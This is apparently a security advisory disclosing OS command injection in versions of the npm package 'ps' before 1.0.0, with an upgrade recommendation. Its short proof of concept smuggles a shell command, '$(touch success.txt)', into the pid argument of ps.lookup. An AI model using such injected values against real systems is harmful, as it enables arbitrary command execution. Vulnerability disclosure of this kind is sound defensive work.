ps Enables OS Command Injection
Versions of `ps` before 1.0.0 are vulnerable to command injection.
### Proof of concept:
```js
var ps = require('ps');
ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
if (err) {throw err;}
if (proc) {
console.log(proc); // Process name, something like "node" or "bash"
} else {
console.log('No such process');
}
});
// Result: The file success.txt will exist on the filesystem if the touch command was executed
```
## Recommendation
Update to version 1.0.0 or later.

OS Command Injection
A command Injection in ps allowed arbitrary commands to be executed when attacker controls the PID.
